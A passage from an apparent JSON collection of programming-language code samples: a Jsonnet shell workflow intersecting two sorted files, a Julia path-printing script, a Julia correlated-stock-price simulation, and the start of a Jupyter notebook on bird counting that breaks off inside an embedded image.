    "content": "// Copyright 2015 Google Inc. All rights reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//    http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\nlocal workflow = import \"workflow.jsonnet\";\n\n// Workflow that performs an intersection of two files using shell commands.\n{\n  intersection: workflow.Workflow {\n    jobs: {\n      local input_file1 = \"/tmp/list1\",\n      local input_file2 = \"/tmp/list2\",\n      local sorted_file1 = \"/tmp/list1_sorted\",\n      local sorted_file2 = \"/tmp/list2_sorted\",\n      local intersection = \"/tmp/intersection\",\n\n      SortJob:: workflow.ShJob {\n        input_file:: \"\",\n        output_file:: \"\",\n        command: \"sort %s > %s\" % [self.input_file, self.output_file],\n        inputs: [self.input_file],\n        outputs: [self.output_file],\n      },\n\n      sort_file1: self.SortJob {\n        input_file:: input_file1,\n        output_file:: sorted_file1,\n      },\n\n      sort_file2: self.SortJob {\n        input_file:: input_file2,\n        output_file:: sorted_file2,\n      },\n\n      intersect: workflow.ShJob {\n        deps: [\n          \":sort_file1\",\n          \":sort_file2\",\n        ],\n        command: \"comm -12 %s %s > %s\" %\n            [sorted_file1, sorted_file2, intersection],\n        inputs: [\n          sorted_file1,\n          sorted_file2,\n        ],\n        outputs: [intersection],\n      },\n    }\n  }\n}\n"
  },
  {
    "path": "samples/Julia/julia",
    "content": "#!/usr/bin/env julia\n\n# From https://github.com/JoshCheek/language-sampler-for-fullpath/blob/b766dcdbd249ec63516f491390a75315e78cba95/julia/fullpath\nhelp_screen = \"\"\"\nusage: fullpath *[relative-paths] [-c]\n\n  Prints the fullpath of the paths\n  If no paths are given as args, it will read them from stdin\n\n  If there is only one path, the trailing newline is omitted\n\n  The -c flag will copy the results into your pasteboard\n\"\"\"\n\nhelp  = false\ncopy  = false\ndir   = pwd()\npaths = []\n\nfor arg = ARGS\n  if arg == \"-h\" || arg == \"--help\"\n    help = true\n  elseif arg == \"-c\" || arg == \"--copy\"\n    copy = true\n  elseif arg != \"\"\n    push!(paths, arg)\n  end\nend\n\nif help\n  print(help_screen)\n  exit()\nend\n\nfunction notempty(string)\n  return !isempty(string)\nend\n\nif length(paths) == 0\n  paths = filter(notempty, map(chomp, readlines()))\nend\n\nfunction print_paths(stream, paths)\n  if length(paths) == 1\n    path = paths[1]\n    print(stream, \"$dir/$path\")\n  else\n    for path = paths\n      println(stream, \"$dir/$path\")\n    end\n  end\nend\n\nif copy\n  read, write, process = readandwrite(`pbcopy`)\n  print_paths(write, paths)\n  close(write)\nend\n\nprint_paths(STDOUT, paths)\n"
  },
  {
    "path": "samples/Julia/stockcorr.jl",
    "content": "## Test case from Issue #445\n\n#STOCKCORR - The original, unoptimised code that simulates two correlated assets\nfunction stockcorr()\n\n    ## Correlated asset information\n    CurrentPrice = [78. 102.]     # Initial Prices of the two stocks\n    Corr = [1. 0.4; 0.4 1.]       # Correlation Matrix\n    T = 500                       # Number of days to simulate = 2years = 500days\n    n = 100000                    # Number of simulations\n    dt = 1/250                    # Time step (1year = 250days)\n    Div=[0.01 0.01]               # Dividend\n    Vol=[0.2 0.3]                 # Volatility\n\n    ## Market Information\n    r = 0.03                      # Risk-free rate\n\n    ## Define storages\n    SimulPriceA = zeros(T,n)      # Simulated Price of Asset A\n    SimulPriceA[1,:] = CurrentPrice[1]\n    SimulPriceB = zeros(T,n)      # Simulated Price of Asset B\n    SimulPriceB[1,:] = CurrentPrice[2]\n\n    ## Generating the paths of stock prices by Geometric Brownian Motion\n    UpperTriangle=chol(Corr)      # UpperTriangle Matrix by Cholesky decomposition\n\n    for i = 1:n\n       Wiener = randn(T-1,2)\n       CorrWiener = Wiener*UpperTriangle\n       for j = 2:T\n          SimulPriceA[j,i] = SimulPriceA[j-1,i]*exp((r-Div[1]-Vol[1]^2/2)*dt+Vol[1]*sqrt(dt)*CorrWiener[j-1,1])\n          SimulPriceB[j,i] = SimulPriceB[j-1,i]*exp((r-Div[2]-Vol[2]^2/2)*dt+Vol[2]*sqrt(dt)*CorrWiener[j-1,2])\n       end\n    end\n\n    return (SimulPriceA, SimulPriceB)\nend\n"
  },
  {
    "path": "samples/Jupyter Notebook/JupyterNotebook.ipynb",
    "content": "{\n \"cells\": [\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"# Morphological image operations\\n\",\n    \"\\n\",\n    \"** Bird Counting **\\n\",\n    \"\\n\",\n    \"I've used some simple morphological image operations from scipy.morphology module.\\n\",\n    \"\\n\",\n    \"The goal was to count how many birds were in an image\\n\",\n    \"\\n\",\n    \"Here are the steps taken :\\n\",\n    \"\\n\",\n    \"1. Load the image as an ndimage matrix object\\n\",\n    \"2. Filter all pixels for those with a color tone less than 100/255\\n\",\n    \"3. Get a binary representation of the pixels that satisfy the condition in step 2\\n\",\n    \"4. Apply some dilation and erosion in order to get rid of noise and isolate the birds\\n\",\n    \"5. Count all contiguous areas\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 2,\n   \"metadata\": {\n    \"collapsed\": false,\n    \"scrolled\": true\n   },\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"Original image:\\n\"\n     ]\n    },\n    {\n     \"data\": {\n      \"image/png\": \"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